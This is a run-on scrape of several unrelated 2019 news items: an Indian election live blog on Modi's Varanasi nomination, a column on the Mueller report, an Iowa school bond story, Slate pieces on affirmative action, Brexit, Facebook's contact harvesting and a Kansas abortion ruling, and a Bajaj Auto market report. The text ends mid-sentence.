seeks action report from police on complaint seeking directions for FIR under 124A (sedition charges) against Congress president Rahul Gandhi for alleged derogatory remark against the Prime Minister. Delhi Court seeks action taken report from Police on complaint seeking directions for FIR u/s 124A(Sedition charges) against Rahul Gandhi for derogatory remark against PM&for accusing him of 'hiding behind blood of soldiers&doing dalali on their sacrifice'.Matter fixed for May 15 pic.twitter.com/TBSRFjMjd0 ANI (@ANI) April 26, 2019 3.55 pm: Prime Minister Narendra Modi has filed his nomination from the Varanasiconstituency in Uttar Pradesh today. As per the election affidavit filed byhim, he has disclosed his movable and immovable assets to the tune of Rs 2.51crore. Out of the Rs 2.51 crores, movable assets comprise Rs 1.41 crore andimmovable assets are valued at Rs 1.1 crore. 3.17 pm: "The Congress says it will remove the army from Kashmir, will remove the special powers of the Jawans, will remove the law of treason. Can such a congress destroy a terrorist?": PM Modi 3.00 pm: PM Modi in Sidhi, MP blamed Congress of betraying the people of the state as it promised to reduce the electricity bills but instead decreased the electricity supply in their homes. "Congress had promised to reduce electricity bills & found a solution to do so by reducing electricity supply in your homes. Congress govt here is running on the formula of supplying lesser electricity than previous Shivraj govt. Is this not betrayal?" he said. 2.26 pm: Wrestler The Great Khali campaigns for BJP's Jadavpur candidate Anupam Hazra in Kolkata Kolkata: Wrestler The Great Khali campaigns for BJP's Jadavpur candidate Anupam Hazra. #WestBengalpic.twitter.com/kDH9vghZFi - ANI (@ANI) April 26, 2019 2.20 pm: Singer Daler Mehndi joins BJP. Singer Daler Mehndi joins Bharatiya Janata Party pic.twitter.com/l3axwHUrMg - Doordarshan News (@DDNewsLive) April 26, 2019 2.15 pm: PM Modi speaks at a rally in Sidhi, Madhya Pradesh. After programmes in Uttar Pradesh, I'm speaking at a rally in Sidhi, Madhya Pradesh. Watch. https://t.co/N6XxuFZuJ0 - Chowkidar Narendra Modi (@narendramodi) April 26, 2019 2.00 pm: Congress President Rahul Gandhi speaks at a public ralley in Samastipur, Bihar 1.45 pm: Congress General Secretary, UP East Priyanka Gandhi at a public meeting in Gursarai, Jhansi, UP Congress General Secretary for UP East Priyanka Gandhi Vadra, at a public meeting in Gursarai pic.twitter.com/WKLGi2fJUv - ANI UP (@ANINewsUP) April 26, 2019 1.28 pm: Shiromani Akali Dal leader and former Punjab Chief Minister Parkash Singh Badal who present in Varanasi today told ANI that there is no one in competition with PM Modi. The difference between Modi with Gandhis is just as between an elephant and ant. 1.06 pm: PM Modi talked to reporters outside the District Magistrate's office after filing his nomination papers in Varanasi. "I deeply express gratitude towards people of Kashi. They have again blessed me after 5 years. Such a grand roadshow yesterday was possible only in Kashi," he said. PM Narendra Modi: I deeply express gratitude towards people of Kashi. They have again blessed me after 5 years. Such a grand roadshow yesterday was possible only in Kashi. pic.twitter.com/CADm4PGy2h - ANI UP (@ANINewsUP) April 26, 2019 12: 37 pm: PM Modi thanked people of Varanasi and his party workers for the love and respect they showered on him and the massive support to his roadshow. Talking to reporters, the Prime Minister also requested voters throughout the country to come out and vote peacefully. 12.25 pm: Congress party took a jibe at PM Modi as he filed his nomination papers from Varanasi today. The party in a tweet said, "A son gave up his life taking a pledge to clean mother Ganga, but the self-proclaimed arrogant son of mother ganga did not budge. It is a world of shamelessness that the so called son who did not care for this mother Ganga for five years is now asking for vote in her name." , - 5 #JaayegaTohModiHipic.twitter.com/sXfNZpLG4n - Congress (@INCIndia) April 26, 2019 12.15 pm: Watch PM Modi filing his nomination from Varanasi 11.50 am: PM Modi files nomination papers from Varanasi Lok Sabha seat PM Modi has filed his nomination to contest elections for the Lok Sabha Election 2019 from Varanasi parliamentary constituency. #LokSabhaElections2019 : PM Narendra Modi files nomination from Varanasi parliamentary constituency. pic.twitter.com/V0RX2otJUv - ANI UP (@ANINewsUP) April 26, 2019 11.23 am: PM Modi meets and greets BJP and NDA leaders before he files his nomination papers at the collectorate office in Varanasi. The massive show of strength of the NDA allies had leaders like BJP President Amit Shah, Union Minister Rajnath Singh, Sushma Swaraj, Bihar CM and JD(U) chief Nitish Kumar, Shiv Sena chief Uddhav Thackeray, SAD chief Parkash Singh Badal and LJP chief Ram Vilas Paswan. #WATCH: PM Narendra Modi meets NDA leaders at Collectorate office ahead of filing his nomination from Varanasi parliamentary constituency. pic.twitter.com/xVfO9kovHP - ANI UP (@ANINewsUP) April 26, 2019 11.19 am: Breaking News: No relief to Modi biopic, Supreme Court (SC) says not inclined to interfere with the Election Commission's order banning release. Supreme Court refuses to interfere with the Election Commission order banning release of biopic 'PM Narendra Modi'. pic.twitter.com/ZwYRzncZnx - ANI (@ANI) 26 April 2019 11.15 am: PM Modi arrives at the collectorate office in Varanasi to file his nomination papers amidst the showering of petals by people and BJP party workers. Modi walks towards the nomination centre. 11.06 am: PM Modi on his way to the collectorate office in Varanasi to file his nomination papers. BJP and NDA leaders join him in a massive show of strength of the alliance. 11.01 am: Congress President Rahul Gandhi tweets engine trouble on his way to Patna today. Flight returns to Delhi. "Engine trouble on our flight to Patna today! We've been forced to return to Delhi. Today's meetings in Samastipur (Bihar), Balasore (Orissa) & Sangamner (Maharashta) will run late. Apologies for the inconvenience," he said. Engine trouble on our flight to Patna today! We've been forced to return to Delhi. Today's meetings in Samastipur (Bihar), Balasore (Orissa) & Sangamner (Maharashta) will run late. Apologies for the inconvenience. pic.twitter.com/jfLLjYAgcO - Rahul Gandhi (@RahulGandhi) 26 April 2019 10.54 am: PM Modi offered prayers at Kal Bhairav temple. The Prime Minister now leaves for the collectorate office to file his nomination papers. Varanasi votes on April 29 in the phase 4 of the Lok Sabha Election 2019 Prime Minister Narendra Modi offered prayers at Kaal Bhairav Temple in Varanasi; leaves for Collectorate office to file his nomination. #LokSabhaElections2019pic.twitter.com/4sn4pGR6o0 - ANI UP (@ANINewsUP) 26 April 2019 10.47 am: PM Modi walks towards the Kal Bhairav Temple in Varanasi PM Modi gets off from his car and walks towards the Kal Bhairav temple in Varanasi along with BJP leaders. 10.40 am: PM Modi's cavalcade heads to Kal Bhairav Temple in Varanasi PM Modi is on his way to offer his prayers to Kal Bhairav temple in Varanasi. Modi's car gets covered with rose petals by people and party workers. The Prime Minister will file his nomimation papers afterwards in his Lok Sabha constituency. 10.25 am: PM Modi to BJP workers at their meet in Varanasi: Banaras ka chunav aisa hona chahiye ki desh ke political panditon ko us par kitaab likhne ka mann kar jaaye. PM Modi to BJP workers at their meet in Varanasi: Kis party se kaun umeedwar hai, kripa karke yeh charcha mat karen, har umeedwar sammaniye hai, woh bhi loktantra ko mazboot banane ke liye maidan mein aya hai, woh humara dushman nahi hai. pic.twitter.com/GvirdM34tD - ANI UP (@ANINewsUP) April 26, 2019 10.08 am: Respect all party candidates: PM Modi PM Modi tells his party workers to respect all candidates even the ones from opposition parties who are contesting elections as they also are a part of the democratic process. "Don't get influenced by our fights in election rallies. No candidate is our enemy. They are all part of the democratic process. Respect them all." he says. 10.07 am: We need to break some records in Varanasi: PM Modi PM Modi tells party workers in Varanasi, we need to break some records in Varanasi. I have always wished that number of women voters' turn out will be more than 5% compared to men. I couldn't do this in Gujarat, but you can do it Varanasi. I have faith in you. 10.04 am: We won Kashi last night: PM Modi PM Modi tells party workers in Varanasi, Kashi was won by the party and party workers last night. The polling booths are the only thing left to be wonnow in Kashi. He says every party worker should take the responsibility to win each and every polling booth. 9.58 am: I have also been a fervent party worker: PM Modi tells BJP workers PM Modi says that he never evaded responsibilities of a party worker even after becoming the Prime Minister. "I have also written party posters in my initial days. I have never ignored my responsibilities as BJP karyakarta. 9.55 am: Every vote is important and precious, says PM Modi 9:50 am: PM Modi starts addressing BJP workers in Varanasi. PM Modi addresses BJP workers meet at #Varanasi: Main bhi booth ka karyakarta raha hun, mujhe hi diwaron par poster lagane ka saubhagya mila. Aaj iss manch ke madhyam se mein aapko aur desh ke sabhi nagarikon ko sabhi karyakartaon ka aabhaar vyakt karta hun pic.twitter.com/AqyVWmZzo8 - ANI UP (@ANINewsUP) 26 April 2019 9.40 am: NDA leaders reach Varanasi to join PM Modi NDA leaders reached Varanasi this morning to join Prime Minister Narendra Modi as he files his nomination papers in his Lok Sabha constituency today. Leaders who reached the temple town are Shiv Sena Chief Uddhav Thackeray, Shiromani Akali Dal (SAD) Chief Parkash Singh Badal, AIADMK leader Thambidurai. JD(U) leader Nitish Kumar will soon land in Varanasi. A meeting is underway between the NDA leaders and BJP President Amit Shah. BJP President Amit Shah at NDA leaders meet in Varanasi; Later today, PM Narendra Modi will file his nomination from Varanasi Parliamentary seat. pic.twitter.com/6KvJcMjyn1 - ANI UP (@ANINewsUP) 26 April 2019 9.35 am: PM Modi to speak to Aaj Tak today Prime Minister Modi will speak exclusively to India Today editors in Varanasi today. The interview will be aired on Aaj Tak at 7 pm tonight. 9:30 am: PM Modi to offer prayers at Kaal Bhairav temple before filing nomination papers Prime Minister Modi will pray at Kaal Bhairav temple, which is one of the oldest Shiva temples in the country. He will also meet booth-level workers before he goes ahead to file his nomination papers in Varanasi. 9.20 am: PM Modi's grand roadshow last night Prime Minister Narendra Modi held a mega roadshow in Varanasi Thursday drawing a deluge of crowds before he culminated the show with a Ganga aarti at the Dashashwamedh ghat. Modi was flanked by BJP president Amit Shah, Uttar Pradesh Chief Minister Yogi Adityanath and other senior BJP leaders. WASHINGTON -- I learned the hard way that predictions are perilous in the current age: I literally ate a column asserting that Republicans would never nominate Donald Trump for president. So please forgive this victory lap as I claim total EXONERATION(!) by the Mueller report for my forecast in November 2017 that the president and his aides might be saved by their own stupidity: "With all the documentation of Russian collusion piling up, President Trump's best excuse may be that his people were too incompetent to organize a conspiracy. Luckily for him, an innocent-by-reason-of-stupidity defense has the virtue of being plausible. For example, there is clear and compelling evidence that Donald Trump Jr. is dumb as a post." This was essentially Robert Mueller's conclusion as he recounted the June 9, 2016, Trump Tower meeting, for which Russian interests promised "official documents and information that would incriminate Hillary" Clinton, and Trump Jr. replied "if it's what you say I love it." Prosecutors "considered whether to charge Trump Campaign officials with crimes in connection with the June 9 meeting," Mueller wrote, but couldn't "prove beyond a reasonable doubt that these individuals acted 'willfully,' i.e., with general knowledge of the illegality of their conduct." Specifically, prosecutors couldn't prove "the participants in the meeting were familiar with the foreign-contribution ban or the application of federal law to the relevant factual context." Apparently unaware that this meant he isn't the sharpest tool in the shed, Trump Jr. welcomed Mueller's findings as vindication. "TOLD YA!!!" he boasted. Who says ignorance of the law is no excuse? Mueller's findings on obstruction were similar: Not guilty by reason of incompetence. "The President's efforts to influence the investigation were mostly unsuccessful, but that is largely because the persons who surrounded the President declined to carry out orders or accede to his requests," Mueller concluded, listing former FBI director James Comey, former White House counsel Donald McGahn and former White House deputy chief of staff Rick Dearborn. After two years of investigation, Mueller's findings about Team Trump can be roughly summarized as follows: Too stupid to conspire. Too incompetent to obstruct. These findings are entirely consistent with what I've found covering the Trump campaign and administration. I'd submit only one addendum: Too dumb to govern. Many Democrats are disappointed Mueller opted against charging Trump and top aides. But Mueller captured the essence of Trump. Some of Trump's actions are hateful, some are ideological and some stretch the bounds of constitutionality. But above all, Trump is bumbling. Federal judges have ruled against the Trump administration at least 63 times so far, an "extraordinary record of legal defeat," The Washington Post reported last month. Trump routinely proposes illegal actions to top aides -- the secretary of state, the secretary of homeland security, the White House counsel, Pentagon officials -- and they ignore him. Though Trump claimed Monday that "nobody disobeys my orders," The Post's Aaron Blake assembled a list of 15 instances of aides doing just that. His advisers quit and are fired at a record pace, leaving vacancies, placeholders and semi-functioning agencies. He flopped in repealing Obamacare and botched implementation of his travel ban and his family-separation policies. He shut the government down in fruitless pursuit of a border wall and managed to help create a crisis on the border where none had existed before. He spews falsehoods by the thousand and announces policies that don't exist. Now Mueller has documented more of the same. Trump's campaign was happy to accept help in the election from Russia but didn't pull it off. Trump wanted to obstruct the investigation but was thwarted by aides. And the man who claimed he had "one of the best memories in the world" said more than three dozen times in response to Mueller's questions that he couldn't recall the answer. The president, perhaps sensing that "too dumb to fail" isn't a good re-election slogan, went from claiming "total EXONERATION" before the report came out to "total bull----" after. And Trump's error-prone lawyer Rudolph W. Giuliani proclaimed on Sunday that "there's nothing wrong with taking information from Russians" -- exactly the wrong lesson of the past two years. Does incompetence fit the definition of high crimes and misdemeanors? That's up to the House. I, for one, celebrate Trump's clumsiness. His fondness for authoritarianism and his disdain for the free press and the rule of law would be much more worrisome if he were effective. Trump, with his "enemy of the people" shtick, might talk like Joseph Stalin, but -- fortunately -- he governs more like Homer Simpson. Love 1 Funny 3 Wow 0 Sad 0 Angry 0 SIOUX CENTER, Iowa -- Eighth-grader Angelo Barron asked his instructor Grant Vietor about book choices. However, they weren't talking inside of a traditional classroom during a school day in February. Instead, the middle school reading counts class was held inside a section of Sioux Center Community High School's auditorium. Sioux Center Community School District Superintendent Gary McEldowney, said such unconventional classrooms had become increasingly common, as growing student numbers led to crowding issues. Since there are five eighth-grade teachers and only four eighth-grade classrooms, he said teachers either double up in classrooms or utilize the auditorium's overflow. "Unlike other Iowa school districts, Sioux Center's student population is increasing," McEldwoney explained. "Currently, our elementary, middle and high schools are filled to capacity." In two years, the district will have a whole lot more room. In February, voters approved a $24.9 million bond issue to finance a new high school. Construction is scheduled to start this spring on the building, which will increase the district's number of schools from three to four. Currently, Sioux Center schools are adding 50 new students per year. In 2017, 57 kids were added to the student population. If the current growth continues, Sioux Center will go from a school district that has 1,300 students to a school district of 1,800 students in 10 years. "Even today, we have 35 percent less space per student compared to other districts our size," McEldowney said. That's why the district reached out to parents, business owners, community members, educators and students for possible solutions prior to the bond issue. "We've hosted work sessions and listened to ideas on what would make our district into a better educational environment for our students," he said prior to the vote. "The feedback that we've received has all been positive." By a margin of 76 percent to 24 percent, voters overwhelmingly approved the bond issue. Under state law, it required a 60 percent "super majority" to pass because of the use of property taxes to help fund the project. The total cost of the new high school is estimated at $39.6 million. The district will cover 37 percent or $14.7 million, with other revenues, with the bond proceeds picking up the other 63 percent. To retire the bonds, the debt service tax levy will increase by a maximum of 37 cents per $1,000 of taxable valuation. That comes out to a $40 per year cost impact for the average household and 52 cents per year cost impact per average acre. After two years of construction, the new high school is expected to open for the 2021-22 school year. Currently, Sioux Center has 393 students in grades 9-12, 401 middle school students in grades 5-8 and 572 elementary students in transitional kindergarten through fourth grade. If the district reconfigures its existing buildings after the new high school opens, McEldowney said capacity issues would be alleviated while allowing future enrollment growth in all grades. By 2028, the elementary school will be able to accommodate 438 transitional kindergarten through second-graders, the current middle school will accommodate 438 third- through fifth-graders, while the current high school will accommodate 438 sixth- through eighth-graders. Copyright 2019 The Sioux City Journal. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Listen to Episode 23 of Slates Hit Parade: Get More Hit Parade Slate Plus members get extended, ad-free versions of our podcastsand much more. Sign up today. Join Slate Plus Subscribe to Hit Parade Copy this link and add it in your podcast app. copy link copied! For detailed instructions, see our Slate Plus podcasts page. Spinal Tap was right: Death sells. When musical icons die, their songs and albums climb the charts all over againsometimes, a legendary artist even scores his or her only No. 1 hit. In this very special episode recorded live from the Museum of Pop Culture in Seattle, Hit Parade pours one out for the legends who topped the charts from beyond the grave. Chris is joined by some of Americas top music writers to discuss the unusual circumstances that brought everyone from Otis Redding to Janis Joplin, John Lennon to Kurt Cobain, Biggie Smalls to Prince to the top of the charts after their untimely passings. Email: hitparade@slate.com Roe v. states: The Kansas Supreme Court issued an important ruling today protecting abortion rights in the statea major win for federalism and individual liberty. Because the decision is based on the courts interpretation of the states constitution, it cant be reversed by the U.S. Supreme Court. Mark Joseph Stern explains how decisions like this could be key to defending reproductive rights at the state level, should the federal judiciary continue to chip away at Roe v. Wade. Advertisement You too??! Guess which Trump administration official was out in public attacking journalists? Its a new oneDeputy Attorney General Rod Rosenstein aired out Trumpian talking points in a speech Thursday night, criticizing journalists for how they handled the Mueller investigation and subsequent report. But let Dahlia Lithwick remind you that if it werent for the medias intrepid reporting, many of the issues he wanted to raise with his boss would never have been addressed. Advertisement Advertisement Advertisement Affirmative: The future of affirmative action is at stake in Students for Fair Admissions v. Harvard. If the plaintiff gets its way, it could mean the end of race-conscious college admissions as we know it. But theres a new wrench in that plan: A potential lawsuit against the University of California could expose the flawed logic behind the antiaffirmative action stance. Matthew J. Johnson explains. Its a trap! Taylor Swifts much-hyped new single and its accompanying video dropped at midnight. Its full of kittens and rainbows and unicorns and doesnt really say anything at all. Carl Wilson reviews ME! For fun: We found out who Patrick is. What a guy! Nitish U.S. District Court Judge Allison Burroughs is expected in the coming weeks or months to release her opinion in the landmark Students for Fair Admissions (SFFA) v. Harvard affirmative action case. The case could turn on the courts view of a colorblind alternative to affirmative action. As other plaintiffs have done in previous affirmative action cases, the SFFA plaintiffs argue that such an alternative approach focused on social class will preserve diversity and fairness. Scholars and pundits have written in public forums on the limits of this approach. Theyve also pointed out that there is nothing colorblind about using class as a proxy for race. Advertisement So far, though, scholars have missed a key new front against affirmative action opening on the other side of the country, one that would make any such colorblind option obsolete just as more traditional modes of affirmative action are dismantled by the courts. If the Massachusetts court endorses a so-called colorblind alternative, it might be short-lived, which should call into question any claims that these alternatives would preserve campus diversity. Advertisement Advertisement Advertisement Its important to understand how these race-neutral measures fit into the long game of those attempting to dismantle racial equity measures. The second front stems from affirmative action opponents in California, who are claiming that these colorblind methods are racially attentive and thus violate the Constitution. In November, Richard Sander and George Shen brought a lawsuit against the University of California to force campuses to hand over admissions data. Sander, a UCLA law professor, is famous for his book Mismatch, which claims that affirmative action places students in elite institutions even though they would be more successful at less-selective schools. The lawsuit might seem innocuousafter all, Sander has filed cases in the past for data that havent turned into litigation challenging specific admissions policies. This time, though, Sander plans to use the data as a basis for a lawsuit against the University of California system for using race as a factor in admissions. Even if the University of California fails to provide the data, Sander told me in a recent interview that he and Shen will likely move ahead with a lawsuit anyway, hoping to gain the necessary evidence through the discovery process. Sander might bring this lawsuit within the next six months. [Update, May 3, 2019 5:16 p.m.: Sander says that the intent of any potential lawsuit would not be to challenge what he sees as genuine race-neutral admissions policies used by University of California schools in the past, but rather to challenge UCs actual practices as violating its own ostensibly race-neutral policies. Specifically, Sander says he is considering challenging holistic admissions policies the system adopted in 2007 that he describes as surreptitious racial preferences, citing evidence from a 2014 internal UCLA report.] Advertisement Advertisement Advertisement In at least one regard, the potential lawsuit against the University of California would mirror the Harvard case. Sander and Shen say they plan to use Asian American plaintiffs. But one glaring difference is important: Public universities in California already work under an affirmative action ban. Since California voters passed Proposition 209 in 1996, University of California campuses have carefully crafted race-neutral policies that try to sustain underrepresented minority enrollment. These practices try to find ways to capture race without directly asking for students racial identity in the admissions process. In sum, Sander and Chen plan to challenge whether some of these practices violate Proposition 209. Advertisement Advertisement What makes this potential case so important is that it could undermine important arguments put forth in the Harvard case. While the bulk of the media attention focuses on whether Harvard discriminates against Asian Americans, the fundamental question of the case hinges on whether Harvard can achieve racial and ethnic diversity through race-neutral policies. In this respect, the Harvard case is a natural outgrowth of the recent Fisher v. University of Texas decision, where Justice Anthony Kennedys opinion placed new burdens on universities while maintaining affirmative action. In order to use race as a factor in admissions, Kennedy wrote that higher education institutions need to show that race-neutral alternatives are insufficient to achieve a diverse student body. SFFA claims that Harvard hasnt met that burden. Advertisement Advertisement Advertisement In bringing the case against Harvard, SFFA is taking advantage of decades of experimentation with race-neutral policies in states with affirmative action bans. In these states, selective public colleges and universities have taken advantage of the loose definitions of race-neutrality and the lack of guidance issued by the Supreme Court in Fisher. These practices include using information that tracks closely with race, such as family wealth and neighborhood poverty. Some institutions ask applicants to write essays on diversity to capture students racial identity. Other states, knowing that high schools are still largely segregated by race, developed plans to offer automatic admissions to the top graduates of every high school in the state. Race-neutral policies have a mixed record, but some selective public universities have come close to sustaining underrepresented minority enrollments with these methods. Advertisement Advertisement Its important to understand how these race-neutral measures fit into the long game of those attempting to dismantle racial equity measures. Edward Blum, the person behind the Harvard case and Fisher, likely wont stop with this case. In the immediate future, Blum wants to take apart what he sees as the most dramatic affirmative action practices, like those at Harvard, which allow admissions officers to see each applicants racial and ethnic identity and use that information in making admissions decisions. In this attack, the relative success of race-neutral policies in some states provides a benevolent shield against criticism that ending affirmative action will undermine black, Hispanic, and Native American access to higher education. It also helps that race-neutral policies bring more low-income students into elite universities, which allows Blum to claim that he is the true representative of justice. Racist attacks on equity always work best when they can hide behind claims of benevolence. Advertisement Advertisement Advertisement But if the Supreme Court strikes down Harvards affirmative action policiesas seems likely given the new conservative makeup of the courtits not hard to imagine that Blum and like-minded individuals will then go after the most successful race-neutral programs. Its easy to expose the intentions behind these programs becausegiven the continued systemic harms of this countrys historic racist structurestrue racial inclusion in selective universities requires careful thought about race and inequality. In places like California with affirmative action bans, it takes committees experimenting with alternative admissions factors that will uncover applicants racial identity with a reasonable degree of certainty. The problem for Blum is that Sander isnt playing by the long game. For all the criticism Sander receives for his views on affirmative action, he isnt a stooge of the conservative playbook. If Sanders lawsuit happens in time and something good comes out of it for proponents of affirmative action, it will be that such a case would make it harder for Blum to claim that Harvard and other schools can use alternative race-neutral policies to sustain underrepresented minority enrollment without facing further attack. The benevolent shield will disappear before Blum is ready. The hard truth is that people like Blum are interested in a specific type of colorblind world where policies that benefit white people are race-neutral, while policies that try to dismantle institutional racism are race-conscious. For that reason, if Blum wins the Harvard case, SFFA wont be the final nail in the coffin in the fight against affirmative action. It will be just one more step toward defining policies that strive toward racial equity as unconstitutional race-conscious practices. This week in the doldrums: Theresa May and British MPs are back from their Easter vacation, but things are still a little quiet on the Brexit front this week. Only by Brexit standards could a week be described as quiet after the prime minister survived an attempt by senior members of her own party to oust her. Here are a couple highlights: The 1922 Committee, which represents backbench Conservative MPs, voted against an attempt to change party rules to allow for a vote of no confidence in Prime Minister May. Under current rules, the party cant hold a vote to ditch May until next December, since she won a vote last December. May continues to be staggeringly unpopular yet seemingly invincible. Advertisement Ongoing talks between May and Labour leader Jeremy Corbyn, aimed at reaching a cross-party compromise to finally pass the withdrawal agreement May negotiated with the EU, seem to be stalled. Advertisement Advertisement Advertisement Nicola Sturgeon, first minister of Scotland, is talking about holding another Scottish independence referendum. The last time Scotland voted about whether to leave the U.K., back in 2014, the remainers won 55 percent to 45 percent. But given the anger over BrexitScotland voted overwhelming to remain in the EUScottish nationalists like Sturgeon want to take another shot. Despite the fact that May still insists it might not happen, British political parties are starting to prepare to participate in the EU elections next month. Last week I wrote about the launch of Nigel Farages impressively popular Brexit Party. Another new partythe centrist, pro-remain Change UKhas also launched, though its faced a rockier road so far with criticism of its branding and four different candidates facing scandals over racist comments. Advertisement Advertisement This week in Europe: The 2016 Brexit referendum was widely viewed as part of a wave of populist, nationalist sentiment sweeping across Western democracies. That wave reached its peak with the election of Donald Trump that same year, but it certainly hasnt crested yet. This weekend, the ultranationalist, anti-immigrant, anti-feminist Vox party is likely to enter parliament in Spain, marking the far-rights biggest gain in the country since the death of dictator Francisco Franco. Advertisement In France, President Emmanuel Macron, gave a chastened speech on Thursday, promising to cut taxes and roll back austerity programs in response to months of sometimes-violent protests from the anti-establishment Yellow Vest movement against what they see as his out-of-touch, elitist governance. The Yellow Vests are also putting forward candidates for next months elections. Advertisement Neither Vox nor the Yellow Vests have much fondness for the bureaucrats in Brussels, but the groups arent exactly hardline euroskeptics, nor have they called for their countries to exit the EU. Advertisement Advertisement A new alliance of populist, euroskeptic parties is poised to do well in next months election. Ironically, EU elections, with low turnout and voters more apt to cast protest votes, have traditionally given a boost to anti-EU parties, but few are now actually calling for their countries to leave the EU. Marine Le Pen, leader of Frances far-right national rally, has dropped calls for a Frexit and now says she wants to reform the EU from within. Italys Lega Nord has also downplayed the issue in recent campaigns. Advertisement Advertisement The Brexit experience no doubt has a lot to do with this. As no less an authority on right-wing nationalism than Steven Bannon recently told the Washington Post, There has been a shift, definitely a shift. The agony of Britain in the last two years has clearly been a subtext for Lets try to make this thing work. Advertisement Advertisement A recent analysis from the European Council on Foreign Relations, based on YouGov polling from 14 European countries, gives some context for the shift. The authors argue that The core divide is not one of wanting either an open Europe or a closed nation state, but between voters who think that the system is broken and those who think the status quo still basically works. Using slightly confusing Game of Thrones metaphors, they find that only 14 percent of the EU electorate are what they call Free Folk, people who believe that their political systems work well but that the EU does not. Much more common38 percentare those who have lost faith in both the European and national political systems. In other words, Sparrows like the Yellow Vests and Vox arent angry at the EU; theyre angry at the whole system, including their own leaders. Whatever you think of this position or those who espouse it, its more logical than textbook euroskepticism given the experience of the last three years. The real lesson of Brexit isnt that its really, really hard to leave the EUalthough thats certainly true. Its that leaving the EU is no solution for a countrys homegrown political dysfunction. Bajaj Auto has recorded a steady rise in the stock market in the last one year while its rivals -- Hero MotoCorp, TVS Motor Company and Eicher Motors -- slipped substantially despite registering growth in sales of its leading two-wheeler brands. Bajaj is inching closer to its 52-week high share price of nearly Rs 3200, especially when domestic sales of its popular brand Pulsar jumped by 40.5 per cent to 9.23 lakh in the last financial year. Bajaj's market value increased by around 7 per cent to over Rs 89,000 crore in the stock market in the last one year. Hero, TVS and Eicher witnessed a slide in the stock market especially because of their over dependence on the domestic market. Bajaj's export constitutes 40-45 per cent of the overall sales. Hero's market value slipped by over 30 per cent to Rs 52,000 crore in the last one year until April 25. The value of Eicher dropped by 34 per cent to Rs 55,500 crore, while that of TVS dipped by 20 per cent to Rs 24,500 crore. Also Read: Why is Maruti Suzuki share price falling? In the overall domestic sales pecking order, Pulsar has improved its position from 9th to 5th spot. Analysts expect that the surge is going to get reflected in financial results of the company that will come out on May 17. Bajaj's CT bikes, which was absent in the top 10 list in 2017-18, has entered as the 10th most selling two-wheeler in the country in 2018-19. "Bajaj Auto is strategically shifting its focus away from margins in an attempt to recoup its lost market share in domestic motorcycles. The aim is to expand its market share further to about 24 per cent from 18.7 per cent now by plugging gaps in the portfolio," said Motilal Oswal in its report. The expect that the EBITDA margin is likely to stabilize at 16-17 per cent, reflecting weak demand and the strategic shift in the focus toward market share. Honda Activa is the most selling two-wheeler in the world's biggest two-wheeler market, despite the scooter segment declining for the first time in FY18-19 in over a decade. Activa sales dropped 4.6 per cent to just over 30 lakhs units in FY18-19. Hero Splendor, which has been the top selling two-wheeler for 8 months in 2018-2019, came second after Activa. Besides Splendor, three other models from Hero made the list -- HF Deluxe at third, Passion at sixth and Glamour at 9th rung. With an overall growth of 9 per cent, Chennai-based TVS bagged two positions in the top ten models -- TVS XL Super and Jupiter scooter. Royal Enfield could not get any product in the top 10 list. Bajaj Auto has also been busy realigning its business under three niche categories -- intracity vehicles, superbikes and urbanite -- besides the major mass motorbike segment, in the last one year. The three-wheeler and four-wheeler quadricyle Qute comes under the intracity category. They launched Qute recently in Maharashtra. The second niche category is that of superbikes -- including KTM, Husqverna and Triumph. The urbanite is a portfolio of futuristic vehicles, which will be mostly electric, Rajiv Bajaj earlier told Business Today. The market expects that Bajaj will bring its first electric two-wheeler by end of the year. The company is also developing new brands and looks to create new specialised segments, besides entering into the volume business. Also Read: P&G, Samsung, J&J under the scanner for not passing on GST rate cut benefits to consumers Also Read: SC gives final warning to RBI on disclosure rules that deflect RTI queries Facebook learned it will face yet another probe into its data practices on Thursday when the New York state attorney generals office announced it will investigate the social media companys unauthorized harvesting of more than 1.5 million users email address books. Facebook, it was discovered in April, had been slurping up contact lists of new users without their knowledge or consent. The practice reportedly began in May 2016 and appears to have continued up until it was reported on in the media earlier this month. Advertisement Facebook was able to access the contact lists by prompting certain new users to enter the password to their personal emails accounts, as a means of identification verification the company said, but would then simply import all of the users contacts. The company then used the data to target ads and other services to the users. When Business Insider broke the story last week about the surreptitious data collection, Facebook said the contact data was unintentionally uploaded to Facebook and that it would delete it. The company has said it didnt access any of the content in the users emails, but Facebook has a pretty serious credibility problem at this point. Advertisement Advertisement Advertisement While 1.5 million peoples contact books were directly harvested by Facebook, the total number of people whose contact information was improperly obtained by Facebook may well be in the dozens or even hundreds of millions, as people sometimes have hundreds of contacts stored on their email accounts, Business Insider reported last week. The spokesperson could not provide a figure for the total number of contacts obtained this way. The New York attorney generals investigation is the latest in a string of inquiries into the companys data and privacy practices. Facebook told investors yesterday it expects a $3 billion$5 billion fine from the Federal Trade Commission for privacy violations revealed during the Cambridge Analytica scandal. Also, the Financial Times reports, earlier on Thursday, Irish regulators announced a new privacy probe into the company, while Canadian regulators published a report saying it had breached local privacy laws. In a sweeping decision on Friday, the Kansas Supreme Court ruled that its state constitution protects bodily autonomyincluding a womans right to terminate her pregnancy. The court interpreted the Kansas Constitution to provide stronger protections for abortion rights than the federal Constitution, and its decision cannot be reversed by the U.S. Supreme Court. Fridays ruling illustrates how state Supreme Courts can safeguard women even as the federal judiciary chips away at Roe v. Wade. It is a signal triumph for both federalism and individual liberty. Advertisement The courts decision in Hodes & Nauser v. Schmidt revolves around a 2015 state law known as S.B. 95 that banned the most common procedure for second-trimester abortions. Reproductive rights advocates challenged the measure under Section 1 of the Kansas Bill of Rights, which declares: All men [and women] are possessed of equal and inalienable natural rights, among which are life, liberty, and the pursuit of happiness. A district court blocked S.B. 95, ruling that the Kansas Constitution provides the same protections for abortion as the U.S. Constitution. The state court of appeals affirmed that decision, and the state appealed to the Kansas Supreme Court, which voted to affirm, and bolster, the lower court ruling. Advertisement Advertisement Advertisement In its majority opinion, the high court agreed that the Kansas Constitution protects abortion rightsbut held that it goes further than the federal Constitution in its guarantee of bodily autonomy. Unlike the federal Constitution, the majority explained, the Kansas Constitution expressly shields inalienable rights from government intrusion. And an exhaustive review of the historical record demonstrates that the framers of the Kansas Constitution intended its unenumerated natural rights guarantee to extend beyond the Due Process Clause of the federal Constitution, in which Roe is rooted. Among other things, inalienable rights encompass the right to to control ones own body, to assert bodily integrity, and to exercise self-determination. The court explained: Advertisement Advertisement At the heart of [Section 1 of the Kansas Bill 